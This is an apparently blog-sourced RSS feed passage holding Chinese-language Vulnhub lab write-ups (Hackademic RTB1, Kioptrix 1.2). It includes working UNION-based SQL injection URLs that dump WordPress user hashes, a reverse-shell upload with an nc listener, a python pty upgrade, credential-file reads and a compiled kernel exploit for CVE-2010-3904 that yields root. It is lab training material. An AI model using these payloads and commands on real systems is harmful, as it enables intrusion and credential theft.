$cfg[&apos;Servers&apos;][$i][&apos;password&apos;] = &apos;roottoor&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;获得 MySQL root 密码 &lt;code&gt;roottoor&lt;/code&gt;。根据靶机的一贯习惯，数据库 root 密码往往与系统 SSH root 密码相同，可尝试 &lt;code&gt;ssh root@192.168.200.155&lt;/code&gt;，密码 &lt;code&gt;roottoor&lt;/code&gt; 直接登录系统 root，同样可完成提权。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;4.总结&lt;/h1&gt;
&lt;p&gt;这台靶机我先后参考了三次提示才最终完成（严格来说算两次）。在早期的目录扫描阶段，扫描结果显示存在大量目录。经过逐一排查，初步判断该目标存在多个潜在的攻击面。&lt;/p&gt;
&lt;p&gt;随后，我将注意力集中在 index.php 上。这是网站的主页，也是 panel 302 跳转后的目标页面。由于页面明确提示“展示你的 SQLi 技能”，我推测该登录入口可能存在 SQL 注入漏洞，并尝试通过万能密码进行绕过。&lt;/p&gt;
&lt;p&gt;在尝试了多种构造形式的万能密码均告失败后，我开始怀疑当前的渗透思路是否存在偏差。此时我查看了第一个提示，得知使用 &lt;code&gt;or 1=1 -- \&lt;/code&gt; 即可成功登入。事后看来，这个提示的“性价比”并不高，因为在后续的代码审计阶段，这种特定的 Payload 逻辑本可以直接从源码中推导出来。&lt;/p&gt;
&lt;p&gt;第二个提示出现在测试 test.php 页面时。当时我陷入了思维定式，仅尝试了 GET 方式传参，忽略了改用 POST 方式进行测试。这一疏忽导致我一度遗漏了获取这台靶机 Initial Access（初始立足点）的关键入口。&lt;/p&gt;
&lt;p&gt;后续的渗透方式就非常明确，通过上传木马图片，用 LFI 加载反弹 shell 获得 WebShell，通过Webshell进行提权。&lt;/p&gt;
&lt;p&gt;不过在进入最后的提权阶段，我看了最后一次提示。原因是：我不确定要不要使用内核提前获得root权限。因为以前的红队笔记视频中提到，不得已才使用内核提权，并且内核提权会对系统造成不可逆的损伤。&lt;/p&gt;
</content:encoded></item><item><title>Vulnhub Hackademic_RTB1 WriteUp</title><link>https://blog.owenwoow.com/posts/2026/05/05/hackademic_rtb1/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/2026/05/05/hackademic_rtb1/</guid><description>经典的 SQL 注入利用与内核提权靶机 Writeup</description><pubDate>Tue, 05 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;靶场介绍：&lt;/strong&gt;
一台 Vulnhub 的靶机，经典的 SQL 注入利用与提权。
下载地址：&lt;a href=&quot;https://download.vulnhub.com/hackademic/Hackademic.RTB1.zip&quot;&gt;https://download.vulnhub.com/hackademic/Hackademic.RTB1.zip&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;攻击链思维导图：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Hackademic_RTB1/Hackdemic_RTB1%E6%94%BB%E5%87%BB%E9%93%BE.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;1.信息收集&lt;/h1&gt;
&lt;h2&gt;1.1.Nmap 信息扫描&lt;/h2&gt;
&lt;h3&gt;端口扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;22/tcp closed ssh
80/tcp open 
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;详细信息&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE  SERVICE VERSION
22/tcp closed ssh
80/tcp open   http    Apache httpd 2.2.15 ((Fedora))
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.2.15 (Fedora)
|_http-title: Hackademic.RTB1  

&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;漏洞扫描&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./img/Hackademic_RTB1/image-20260416101651402.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;2.WEB 渗透&lt;/h1&gt;
&lt;h2&gt;2.1.漏洞发现&lt;/h2&gt;
&lt;h3&gt;交互式分析&lt;/h3&gt;
&lt;p&gt;通过对目标网站进行浏览和功能交互，收集到以下页面跳转与传参逻辑：&lt;/p&gt;
&lt;p&gt;点击主页，点标题可以跳转到另外一个页面&lt;/p&gt;
&lt;p&gt;http://192.168.200.153/Hackademic_RTB1/&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Hackademic_RTB1/image-20260414135416464.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在点击 got root 的时候，会发出这样的一个请求
http://192.168.200.153/Hackademic_RTB1/?p=9&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Hackademic_RTB1/image-20260414135218365.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击网页下面的最后一条链接，跳转?cat=1&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Hackademic_RTB1/image-20260414135605332.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;找到了一个搜索页面，感觉能利用 SQL 注入&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Hackademic_RTB1/image-20260414140148500.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击搜索页上的 archives， 跳转到 ?m=201101&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Hackademic_RTB1/image-20260414140231857.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;注入点探测&lt;/h3&gt;
&lt;p&gt;在对页面进行交互式分析后找到了以下几个可以传参的值。接下来我将对下面的几个参数进行简单的 SQL 探测，来确定注入的入口&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?p=9
?s=2
?m=201101
?cat=1
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Tip:&lt;/strong&gt;
我们探测出这么多可以传输的值，怎么快速判断是否存在 SQL 注入呢？ 可以使用在传输的值后面加一个引号，通过报错来判断，不过不是所有页面都会有报错的情况的。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./img/Hackademic_RTB1/image-20260414200323180.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;指纹识别&lt;/h3&gt;
&lt;p&gt;查看页面源码，能看出系统是基于 WordPress 1.5.1.1 搭建的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Hackademic_RTB1/image-20260414194843894.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;既然知道了这台机器的 Web 服务是基于什么搭建的，我可以尝试去搜索一下，有没有对应 CMS 的漏洞可以利用。从漏洞查询里明显得知，是存在 SQL 注入漏洞，如果在 Web 渗透中没有找到突破点&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Hackademic_RTB1/image-20260414195405296.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;确实匹配到很多漏洞，但是对于我们有用的只有 Core（内核）的信息，Plugin（插件）的漏洞可以暂时不看。从完全配置的版本中能确定明确存在 SQL 注入的漏洞。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;WordPress Core 1.5.1.1 - &apos;add new admin&apos; SQL Injection                                                            | php/webapps/1059.pl
WordPress Core 1.5.1.1 - SQL Injection                                                                            | php/webapps/1033.pl
WordPress Core 1.5.1.1 &amp;lt; 2.2.2 - Multiple Vulnerabilities                                                         | php/webapps/4397.rb
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;2.2.SQL 注入利用&lt;/h2&gt;
&lt;h3&gt;注入过程&lt;/h3&gt;
&lt;p&gt;通过之前注入点的探测，在 &lt;code&gt;?cat=&lt;/code&gt; 上发现了存在 SQL 注入的漏洞，&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;获取数据库名：&lt;/strong&gt; 使用  &lt;code&gt;union select&lt;/code&gt; 确认数据库名为 &lt;code&gt;wordpress&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;获取后端数据库基本信息：version&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;爆表名：&lt;/strong&gt; 得到 &lt;code&gt;wp_users&lt;/code&gt;, &lt;code&gt;wp_posts&lt;/code&gt;, &lt;code&gt;wp_options&lt;/code&gt; 等表。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;爆用户信息：&lt;/strong&gt; 从 &lt;code&gt;wp_users&lt;/code&gt; 表中提取字段 &lt;code&gt;user_login&lt;/code&gt;, &lt;code&gt;user_pass&lt;/code&gt;, &lt;code&gt;user_level&lt;/code&gt;。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;操作步骤&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;1. 获取数据库名&lt;/strong&gt; 使用 &lt;code&gt;union select&lt;/code&gt; 语句，确认当前数据库名为 &lt;code&gt;wordpress&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;(select database())

wordpress
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. 获取后端数据库表名&lt;/strong&gt; 构造 payload 查询 &lt;code&gt;information_schema.tables&lt;/code&gt;，爆出数据库中的表名：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://192.168.200.153/Hackademic_RTB1/index.php?cat=0 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4,5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到表名如下：&lt;code&gt;wp_categories&lt;/code&gt;, &lt;code&gt;wp_comments&lt;/code&gt;, &lt;code&gt;wp_linkcategories&lt;/code&gt;, &lt;code&gt;wp_links&lt;/code&gt;, &lt;code&gt;wp_options&lt;/code&gt;, &lt;code&gt;wp_post2cat&lt;/code&gt;, &lt;code&gt;wp_postmeta&lt;/code&gt;, &lt;code&gt;wp_posts&lt;/code&gt;, &lt;code&gt;wp_users&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. 获取字段名（列名）&lt;/strong&gt; 针对 &lt;code&gt;wp_users&lt;/code&gt; 表，提取用户登录、密码和权限相关的字段。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;拓展思路&lt;/strong&gt;： 因为 WordPress 是知名的 CMS，我们也可以直接上网查询 WordPress 1.5 版本的官方数据库表结构（如：&lt;a href=&quot;https://codex.wordpress.org/Database_Description/1.5&quot;&gt;https://codex.wordpress.org/Database_Description/1.5&lt;/a&gt;），从而省去繁琐的爆列名步骤，直接定位到 &lt;code&gt;user_login&lt;/code&gt;, &lt;code&gt;user_pass&lt;/code&gt;, &lt;code&gt;user_level&lt;/code&gt; 等关键字段。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;4. 爆用户信息&lt;/strong&gt; 现在的渗透方向明确：获取管理员的用户名和密码，尝试 SSH 登录，或者找到 WordPress 后台登录界面，通过文件上传反弹 Shell 的方式获取 WebShell。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;-- 提取所有用户及对应信息并格式化输出 (使用 0x2d 作为 &apos;-&apos; 连字符，0x0A 作为换行)
http://192.168.200.153/Hackademic_RTB1/index.php?cat=0 union select 1,(select group_concat(user_id,0x2d,user_login,0x2d,user_pass,0x2d,user_level,0x0A)),3,4,5 from wp_users
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行后返回以下结构化数据：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1-NickJames-21232f297a57a5a743894a0e4a801fc3-1
2-JohnSmith-b986448f0bb9e5e124ca91d3d650f52c-0
3-GeorgeMiller-7cbb3252ba6b7e9c422fac5334d22054-10
4-TonyBlack-a6e514f9486b83cb53d8d932f9a04292-0
5-JasonKonnors-8601f6e1028a8e8a966f6c33fcd9aec4-0
6-MaxBucky-50484c19f1afdaf3841a0d821ed393d2-0
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;获取凭证与后续利用&lt;/h4&gt;
&lt;p&gt;从上述数据中分析 &lt;code&gt;user_level&lt;/code&gt;（权限等级），发现 &lt;code&gt;GeorgeMiller&lt;/code&gt; 的权限等级为 &lt;code&gt;10&lt;/code&gt;，属于管理员账号。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;后台登录地址&lt;/strong&gt;：&lt;code&gt;http://192.168.200.153/Hackademic_RTB1/wp-admin/index.php&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;管理员账号&lt;/strong&gt;：&lt;code&gt;GeorgeMiller&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;管理员密码&lt;/strong&gt;：&lt;code&gt;7cbb3252ba6b7e9c422fac5334d22054&lt;/code&gt; （用John对 MD5 解密后为明文 &lt;code&gt;q1w2e3&lt;/code&gt;）&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;至此，成功获取到管理员后台凭证，为下一步的后台 GetShell 做好了准备。&lt;/p&gt;
&lt;h1&gt;3.权限维持&lt;/h1&gt;
&lt;h2&gt;3.1.后台登录&lt;/h2&gt;
&lt;p&gt;访问 &lt;code&gt;http://192.168.200.153/Hackademic_RTB1/wp-admin/&lt;/code&gt;，使用管理员凭据登录。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Hackademic_RTB1/Snipaste_2026-04-14_21-03-45.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;3.2.文件上传&lt;/h2&gt;
&lt;p&gt;登入上去后我打算先去看option选项，Miscellaneous中可以看到上传文件的选项，和服务目录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Hackademic_RTB1/image-20260415133315653.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;开启 &lt;code&gt;Allow File Uploads&lt;/code&gt; 的选项&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Hackademic_RTB1/image-20260415134716819.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;上传测试文件，上传成功，页面还返回了上传的文件地址&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Hackademic_RTB1/image-20260415134738232.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;访问测试图片，成功访问，接下来可以上传我们的反弹 Shell 了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Hackademic_RTB1/image-20260415134754933.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;3.3.反弹 Shell&lt;/h2&gt;
&lt;p&gt;上传 Shell，在 Kali 中找到自带的 php-reverse-shell.php，修改其中的配置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Hackademic_RTB1/image-20260415135008885.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;访问 Shell 网页，nc 接受反弹&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Hackademic_RTB1/image-20260415135151181.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;4.提权&lt;/h1&gt;
&lt;h2&gt;4.1.初始信息收集与 Shell 升级&lt;/h2&gt;
&lt;p&gt;在 Kali 攻击机上建立监听并接受目标回连 WebShell，对目标机的基本信息进行探测，并且将基础的 &lt;strong&gt;sh&lt;/strong&gt; 通过 Python 升级成可以交互的 &lt;strong&gt;bash&lt;/strong&gt; 环境。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/vulnhub/hackademic-RTB1/web]
└─$ sudo nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.200.142] from (UNKNOWN) [192.168.200.153] 41240

# 查看系统内核版本，确认为 2.6.31.5，这为后续的内核提权提供了关键线索
Linux HackademicRTB1 2.6.31.5-127.fc12.i686 #1 SMP Sat Nov 7 21:41:45 EST 2009 i686 i686 i386 GNU/Linux
 11:40:57 up  4:33,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
uid=48(apache) gid=489(apache) groups=489(apache)
sh: no job control in this shell

# 检查 Python 环境，准备升级 Shell
sh-4.0$ rpm -qa | grep python
python-meh-0.7-1.fc12.noarch
gnome-python2-gnomevfs-2.28.0-1.fc12.i686
...[省略部分非关键输出]...
python-2.6.2-2.fc12.i686

# 使用 Python 引入 pty 模块，获取完全交互式的 TTY Shell
sh-4.0$ python -c &quot;import pty;pty.spawn(&apos;/bin/bash&apos;)&quot;   
bash-4.0$ whoami
apache
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来，我对常规的一些提权信息进行了一些枚举，包括 &lt;code&gt;sudo&lt;/code&gt; 权限、主机计划任务( &lt;code&gt;/etc/crontab&lt;/code&gt; )，以及 SUID 文件，但并未发现主机存在明显的错误提权路径。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 尝试 sudo 提权失败，没有密码
bash-4.0$ sudo -l
[sudo] password for apache: 
Sorry, try again.
sudo: 3 incorrect password attempts

# 检查 passwd 文件和计划任务
bash-4.0$ cat /etc/passwd
bash-4.0$ cat /etc/crontab

# 查找具有 SUID 权限的文件，未发现可利用的异常文件
bash-4.0$ find / -perm -u=s -type f 2&amp;gt;/dev/null
/usr/libexec/openssh/ssh-keysign
/usr/libexec/pt_chown
...
/usr/bin/sudo
/usr/bin/passwd
/bin/ping
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4.2 内核漏洞提权 (CVE-2010-3904)&lt;/h2&gt;
&lt;p&gt;由于常规配置错误提权无果，我们回溯到最初收集的系统信息：&lt;strong&gt;Linux Kernel 2.6.31.5&lt;/strong&gt;。通过漏洞库模糊查询发现，该内核版本存在多个潜在的本地提权（Privilege Escalation）EXP。但在逐一比对后，目标系统并不满足这些 EXP 提示的具体受支持环境要求。经过筛选与排除，最终决定选用对环境限制较小、且能适配当前的 &lt;strong&gt;RDS 协议本地提权漏洞（CVE-2010-3904）&lt;/strong&gt; 进行利用尝试，对应的 Exploit 文件为 &lt;code&gt;15285.c&lt;/code&gt;。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;searchsploit linux kernel 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Hackademic_RTB1/image-20260415141744524.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里我们使用对应的 Exploit（即 &lt;code&gt;15285.c&lt;/code&gt;）进行提权。将 EXP 复制到当前目录，通过之前的文件上传漏洞，把 EXP 上传上去。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Hackademic_RTB1/image-20260415141721193.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;编译与执行 Exploit&lt;/h3&gt;
&lt;p&gt;我们定位到事先上传至网站目录下的 Exp 源码文件 &lt;code&gt;15285.c&lt;/code&gt;。由于 &lt;code&gt;/tmp&lt;/code&gt; 目录通常具备读写及执行权限，我们将源码移动至该目录并进行编译运行。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 进入网站内容目录，发现已上传的提权脚本 15285.c
bash-4.0$ cd /var/www/html/Hackademic_RTB1/wp-content
bash-4.0$ ls -l
total 1492
-rw-rw-rw- 1 apache apache    6860 Apr 14 12:11 15285.c
-rw-rw-rw- 1 apache apache 1500061 Apr 14 11:34 Snipaste_20250526_184723.png
drwxrwxrwx 2 root   root      4096 Jan  7  2011 plugins
-rw-rw-rw- 1 apache apache    5497 Apr 14 11:38 shell.php
drwxrwxrwx 5 root   root      4096 Jan  7  2011 themes

# 将源码移动到 /tmp 目录以避免权限冲突
bash-4.0$ mv 15285.c /tmp
bash-4.0$ cd /tmp

# 使用 gcc 编译源码
bash-4.0$ gcc 15285.c -o 15285 
bash-4.0$ ls
15285
15285.c

# 执行编译后的二进制文件
bash-4.0$ ./15285 
[*] Linux kernel &amp;gt;= 2.6.30 RDS socket exploit
[*] by Dan Rosenberg
[*] Resolving kernel addresses...
 [+] Resolved security_ops to 0xc0aa19ac
 [+] Resolved default_security_ops to 0xc0955c6c
 [+] Resolved cap_ptrace_traceme to 0xc055d9d7
 [+] Resolved commit_creds to 0xc044e5f1
 [+] Resolved prepare_kernel_cred to 0xc044e452
[*] Overwriting security ops...
[*] Overwriting function pointer...
[*] Triggering payload...
[*] Restoring function pointer...

# 验证权限，成功获取 Root 权限
# whoami
root
# pwd
/tmp
# tail -c 5 /etc/shadow
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Vulnhub Kioptrix 1.2 WriteUp</title><link>https://blog.owenwoow.com/posts/2026/05/05/kioptrix12/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/2026/05/05/kioptrix12/</guid><description>利用 LotusCMS 漏洞获取 Web Shell，通过数据库凭据复用进行横向移动，最终使用 Dirty COW 内核漏洞和 sudo 配置漏洞完成提权</description><pubDate>Tue, 05 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;h3&gt;靶场信息&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;靶机IP&lt;/strong&gt;： 192.168.200.156&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;靶机介绍：&lt;/strong&gt; https://www.vulnhub.com/entry/kioptrix-level-12-3,24/&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;下载（镜像）：&lt;/strong&gt;&lt;a href=&quot;https://download.vulnhub.com/kioptrix/KVM3.rar&quot;&gt;https://download.vulnhub.com/kioptrix/KVM3.rar&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;注意：&lt;strong&gt;这项挑战的关键&lt;/strong&gt;在于：找到 IP 地址（DHCP 客户端）后，编辑 hosts 文件并将其指向&lt;strong&gt;kioptrix3.com。&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;思维导图&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./img/Kioptrix1.2/Kioptrix1.2-%E6%94%BB%E5%87%BB%E9%93%BE%E6%80%9D%E7%BB%B4%E5%AF%BC%E5%9B%BE.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;1. 信息收集&lt;/h1&gt;
&lt;h2&gt;1.1 Nmap 信息扫描&lt;/h2&gt;
&lt;h3&gt;端口扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;详细信息&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey: 
|   1024 30:e3:f6:dc:2e:22:5d:17:ac:46:02:39:ad:71:cb:49 (DSA)
|_  2048 9a:82:e6:96:e4:7e:d6:a6:d7:45:44:cb:19:aa:ec:dd (RSA)
80/tcp open  http    Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Ligoat Security - Got Goat? Security ...
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
MAC Address: 00:0C:29:EC:A5:EE (VMware)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;漏洞扫描&lt;/h3&gt;
&lt;p&gt;漏洞扫描花了很长时间，但是回看扫描结果，这里提示了网站存在的 SQL 注入我没有测试出来。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
|_http-trace: TRACE is enabled
| http-sql-injection: 
|   Possible sqli for queries:
|     http://192.168.200.156:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.200.156:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.200.156:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.200.156:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.200.156:80/index.php?page=loginSubmit%27%20OR%20sqlspider&amp;amp;system=Admin
|     http://192.168.200.156:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.200.156:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.200.156:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.200.156:80/index.php?page=index%27%20OR%20sqlspider
|     http://192.168.200.156:80/index.php?page=index%27%20OR%20sqlspider
|_    http://192.168.200.156:80/index.php?page=loginSubmit%27%20OR%20sqlspider&amp;amp;system=Admin
| http-slowloris-check: 
|   VULNERABLE:
|   Slowloris DOS attack
|     State: LIKELY VULNERABLE
|     IDs:  CVE:CVE-2007-6750
|       Slowloris tries to keep many connections to the target web server open and hold
|       them open as long as possible.  It accomplishes this by opening connections to
|       the target web server and sending a partial request. By doing so, it starves
|       the http server&apos;s resources causing Denial Of Service.
|       
|     Disclosure date: 2009-09-17
|     References:
|       http://ha.ckers.org/slowloris/
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
|_http-stored-xss: Couldn&apos;t find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn&apos;t find any DOM based XSS.
| http-csrf: 
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.200.156
|   Found the following possible CSRF vulnerabilities: 
|     
|     Path: http://192.168.200.156:80/gallery/
|     Form id: 
|     Form action: login.php
|     
|     Path: http://192.168.200.156:80/index.php?system=Admin
|     Form id: contactform
|     Form action: index.php?system=Admin&amp;amp;page=loginSubmit
|     
|     Path: http://192.168.200.156:80/index.php?system=Blog&amp;amp;post=1281005380
|     Form id: commentform
|     Form action: 
|     
|     Path: http://192.168.200.156:80/gallery/index.php
|     Form id: 
|     Form action: login.php
|     
|     Path: http://192.168.200.156:80/gallery/gadmin/
|     Form id: username
|     Form action: index.php?task=signin
|     
|     Path: http://192.168.200.156:80/index.php?system=Admin&amp;amp;page=loginSubmit
|     Form id: contactform
|_    Form action: index.php?system=Admin&amp;amp;page=loginSubmit
| http-enum: 
|   /phpmyadmin/: phpMyAdmin
|   /cache/: Potentially interesting folder
|   /core/: Potentially interesting folder
|   /icons/: Potentially interesting folder w/ directory listing
|   /modules/: Potentially interesting directory w/ listing on &apos;apache/2.2.8 (ubuntu) php/5.2.4-2ubuntu5.6 with suhosin-patch&apos;
|_  /style/: Potentially interesting folder
MAC Address: 00:0C:29:EC:A5:EE (VMware)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;1.2 Web信息收集&lt;/h2&gt;
&lt;p&gt;Web 渗透方面，我先去探测一下目录扫描，在等待结果的同时，去对主页的一些结构和源码进行简单的测试分析。&lt;/p&gt;
&lt;h3&gt;页面探测&lt;/h3&gt;
&lt;h4&gt;主页&lt;/h4&gt;
&lt;p&gt;访问网站主目录，像是一个 Blog 的界面，告诉我们他们开发了一个 CMS，然后这个页面是他们用来公布内容的 Blog 上&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;页面关键信息摘录：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;URL：&lt;code&gt;http://192.168.200.156/index.php?page=index&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;站点名称：Ligoat Security&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;可见功能入口：首页 / 博客 / 后台登录&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;LFI 测试无效&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./img/Kioptrix1.2/image-20260502123215556.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;实际这里存在一个 SQL 注入，可使用 &lt;code&gt;&apos; or 1=2 -- - &lt;/code&gt; 让页面报错。（当时没测出来，看了 Nmap 才知道）
&lt;img src=&quot;./img/Kioptrix1.2/image-20260430111329327.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h4&gt;后台登录页&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;URL&lt;/strong&gt;：&lt;code&gt;http://192.168.200.156/index.php?system=Admin&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;万能密码简单测试无效&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;关键发现&lt;/strong&gt;：页面底部版权信息显示 &lt;code&gt;Proudly Powered by: LotusCMS&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;./img/Kioptrix1.2/image-20260502123016028.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
